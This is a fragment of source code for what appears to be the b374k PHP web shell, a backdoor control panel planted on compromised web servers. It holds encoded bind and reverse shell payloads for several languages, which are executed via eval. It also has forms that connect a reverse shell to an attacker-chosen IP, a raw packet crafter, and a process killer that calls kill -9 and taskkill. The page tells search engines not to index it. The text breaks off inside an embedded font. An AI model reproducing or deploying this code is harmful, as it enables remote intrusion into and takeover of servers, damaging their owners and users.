"nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ=";\n$GLOBALS[\'resources\'][\'rs_gcc\'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA==";\n$GLOBALS[\'resources\'][\'rs_java\'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8=";\n$GLOBALS[\'resources\'][\'rs_executable\'] = "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"; $GLOBALS[\'module\'][\'network\'][\'id\'] = "network";\n$GLOBALS[\'module\'][\'network\'][\'title\'] = "Network";\n$GLOBALS[\'module\'][\'network\'][\'js_ontabselected\'] = "";\n$GLOBALS[\'module\'][\'network\'][\'content\'] = "\n<table class=\'boxtbl\'>\n<thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Bind Shell</p></th></tr>\n</thead>\n<tbody> <tr><td style=\'width:144px\'>Server IP</td><td><input type=\'text\' id=\'bindAddr\' value=\'".$server_addr."\' disabled></td></tr> <tr><td>Port</td><td><input type=\'text\' id=\'bindPort\' value=\'".$default_port."\' onkeydown=\\"trap_enter(event, \'rs_go_bind\');\\"></td></tr>\n</tbody>\n<tfoot> <tr> <td style=\'width:144px;\'> <select id=\'bindLang\' class=\'rsType\'> ".$winbinary." </select> </td> <td><span class=\'button\' onclick=\\"rs_go_bind();\\" style=\'width:120px;\'>run</span></td> </tr> <tr><td colspan=\'2\'><pre id=\'bindResult\'>Press \' run \' button and run \' nc server_ip port \' on your computer</pre></td></tr>\n</tfoot>\n</table>\n<br>\n<table class=\'boxtbl\'>\n<thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Reverse Shell</p></th></tr>\n</thead>\n<tbody> <tr><td style=\'width:144px\'>Target IP</td><td><input type=\'text\' id=\'backAddr\' value=\'".$remote_addr."\' onkeydown=\\"trap_enter(event, \'rs_go_back\');\\"></td></tr> <tr><td>Port</td><td><input type=\'text\' id=\'backPort\' value=\'".$default_port."\' onkeydown=\\"trap_enter(event, \'rs_go_back\');\\"></td></tr>\n</tbody>\n<tfoot> <tr> <td style=\'width:144px;\'> <select id=\'backLang\' class=\'rsType\'> ".$winbinary." </select> </td> <td><span class=\'button\' onclick=\\"rs_go(\'back\');\\" style=\'width:120px;\'>run</span></td> </tr> <tr><td colspan=\'2\'><pre id=\'backResult\'>Run \' nc -l -v -p port \' on your computer and press \' run \' button</pre></td></tr>\n</tfoot>\n</table>\n<br>\n<table class=\'boxtbl\'>\n<thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Simple Packet Crafter</p></th></tr>\n</thead>\n<tbody> <tr><td style=\'width:120px\'>Host</td><td><input type=\'text\' id=\'packetHost\' value=\'tcp://".$server_addr."\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> <tr><td>Start Port</td><td><input type=\'text\' id=\'packetStartPort\' value=\'80\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> <tr><td>End Port</td><td><input type=\'text\' id=\'packetEndPort\' value=\'80\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> <tr><td>Connection Timeout</td><td><input type=\'text\' id=\'packetTimeout\' value=\'5\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr> <tr><td>Stream Timeout</td><td><input type=\'text\' id=\'packetSTimeout\' value=\'5\' onkeydown=\\"trap_enter(event, \'packet_go\');\\"></td></tr>\n</tbody>\n<tfoot> <tr><td colspan=\'2\'><textarea id=\'packetContent\' style=\'height:140px;min-height:140px;\'>GET / HTTP/1.1\\\\r\\\\n\\\\r\\\\n</textarea></td></tr> <tr> <td> <span class=\'button\' onclick=\\"packet_go();\\" style=\'width:120px;\'>run</span> </td> <td>You can also press ctrl+enter to submit</td> </tr> <tr><td colspan=\'2\'><div id=\'packetResult\'></div></td></tr>\n</tfoot>\n</table>\n"; if(isset($p[\'rsLang\']) && isset($p[\'rsArgs\'])){ $rsLang = $p[\'rsLang\']; $rsArgs = $p[\'rsArgs\']; $res = ""; if($rsLang=="php"){ $code = get_resource("rs_".$rsLang); if($code!==false){ $code = "?><?php \\$target = \\"".$rsArgs."\\"; ?>".$code; $res = eval_go($rsLang, $code, "", ""); } } else{ $code = get_resource("rs_".$rsLang); if($code!==false){ $res = eval_go($rsLang, $code, "", $rsArgs); } } if($res===false) $res == "error"; output(html_safe($res));\n}\nelseif(isset($p[\'packetTimeout\'])&&isset($p[\'packetSTimeout\'])&&isset($p[\'packetPort\'])&&isset($p[\'packetTimeout\'])&&isset($p[\'packetContent\'])){ $packetHost = trim($p[\'packetHost\']); if(!preg_match("/[a-z0-9]+:\\/\\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost; $packetPort = (int) $p[\'packetPort\']; $packetTimeout = (int) $p[\'packetTimeout\']; $packetSTimeout = (int) $p[\'packetSTimeout\']; $packetContent = $p[\'packetContent\']; if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent); else{ $packetContent = str_replace(array("\\r","\\n"), "", $packetContent); $packetContent = str_replace(array("\\\\r","\\\\n"), array("\\r", "\\n"), $packetContent); } $res = ""; $sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout); if(!$sock){ $res .= "<div class=\'weak\'>"; $res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")</div>"; } else{ stream_set_timeout($sock, $packetSTimeout); fwrite($sock, $packetContent."\\r\\n\\r\\n\\x00"); $counter = 0; $maxtry = 1; $bin = ""; do{ $line = fgets($sock, 1024); if(trim($line)=="") $counter++; $bin .= $line; }while($counter<$maxtry); fclose($sock); $res .= "<table class=\'boxtbl\'><tr><td><textarea style=\'height:140px;min-height:140px;\'>".html_safe($bin)."</textarea></td></tr>"; $res .= "<tr><td><textarea style=\'height:140px;min-height:140px;\'>".bin2hex($bin)."</textarea></td></tr></table>"; } output($res);\n} ?><?php\n$GLOBALS[\'module\'][\'processes\'][\'id\'] = "processes";\n$GLOBALS[\'module\'][\'processes\'][\'title\'] = "Processes";\n$GLOBALS[\'module\'][\'processes\'][\'js_ontabselected\'] = "show_processes();";\n$GLOBALS[\'module\'][\'processes\'][\'content\'] = ""; if(!function_exists(\'show_processes\')){ function show_processes(){ $output = \'\'; $wcount = 11; if(is_win()){ $cmd = "tasklist /V /FO csv"; $wexplode = "\\",\\""; } else{ $cmd = "ps aux"; $wexplode = " "; } $res = execute($cmd); if(trim($res)==\'\') return false; else{ $output .= "<table id=\'psTable\' class=\'dataView sortable\'>"; if(!is_win()) $res = preg_replace(\'#\\ +#\',\' \',$res); $psarr = explode("\\n",$res); $fi = true; $tblcount = 0; $check = explode($wexplode,$psarr[0]); $wcount = count($check); foreach($psarr as $psa){ if(trim($psa)!=\'\'){ if($fi){ $fi = false; $psln = explode($wexplode, $psa, $wcount); $output .= "<tr><th class=\'col-cbox sorttable_nosort\'><div class=\'cBoxAll\'></div></th><th class=\'sorttable_nosort\'>action</th>"; foreach($psln as $p) $output .= "<th>".trim(trim(strtolower($p)) ,"\\"")."</th>"; $output .= "</tr>"; } else{ $psln = explode($wexplode, $psa, $wcount); $pid = trim(trim($psln[1]),"\\""); $tblcount = 0; $output .= "<tr data-pid=\'".$pid."\'>"; foreach($psln as $p){ if(trim($p)=="") $p = " "; $p = trim(trim($p) ,"\\""); $p = html_safe($p); if($tblcount == 0){ $output .= "<td><div class=\'cBox\'></div></td><td><a class=\'kill\'>kill</a></td><td>".$p."</td>"; $tblcount++; } else{ $tblcount++; if($tblcount == count($psln)) $output .= "<td style=\'text-align:left;\'>".$p."</td>"; else $output .= "<td style=\'text-align:center;\'>".$p."</td>"; } } $output .= "</tr>"; } } } $colspan = count($psln)+1; $colspanAll = $colspan+1; $output .= "<tfoot><tr><td><div class=\'cBoxAll\'></div></td><td colspan=".$colspan." style=\'text-align:left;\'><span class=\'button\' onclick=\'kill_selected();\' style=\'margin-right:8px;\'>kill selected</span><span class=\'button\' onclick=\'show_processes();\'>refresh</span><span class=\'psSelected\'></span></td></tr></tfoot></table>"; } return $output; }\n} if(isset($p[\'showProcesses\'])){ $processes = show_processes(); if($processes!==false) output($processes); output(\'error\');\n}\nelseif(isset($p[\'allPid\'])){ $allPid = explode(" ", $p[\'allPid\']); $counter = 0; foreach($allPid as $pid){ $pid = trim($pid); if(!empty($pid)){ if(function_exists("posix_kill")){ if(posix_kill($pid,\'9\')) $counter++; } else{ if(is_win()){ $cmd = execute("taskkill /F /PID ".$pid); $cmd = execute("tasklist /FI \\"PID eq ".$pid."\\""); if(strpos($cmd,"No tasks are running")!==false) $counter++; } else{ $cmd = execute("kill -9 ".$pid); if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){ $cmd = trim(execute("ps -p ".$pid)); $check = explode("\\n", $cmd); if(count($check)==1) $counter++; } } } } } if($counter>0) output($counter); else output(\'error\');\n} ?><?php\n$error = @ob_get_contents();\n$error_html = (!empty($error))?"<pre class=\'phpError border\'>".str_replace("\\n\\n", "\\n", html_safe($error))."</pre>":"";\n@ob_end_clean();\nerror_reporting(0);\n@ini_set(\'display_errors\',\'0\');?><!doctype html>\n<html>\n<head>\n<title><?php echo $GLOBALS[\'title\']." ".$GLOBALS[\'ver\'];?></title>\n<meta charset=\'utf-8\'>\n<meta name=\'robots\' content=\'noindex, nofollow, noarchive\'>\n<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">\n<link rel=\'SHORTCUT ICON\' href=\'<?php echo get_resource(\'b374k\');?>\'>\n<style type="text/css">\n@font-face {\nfont-family:\'ubuntumono\';\nsrc:url(data:application/x-font-woff;charset=utf-8;base64,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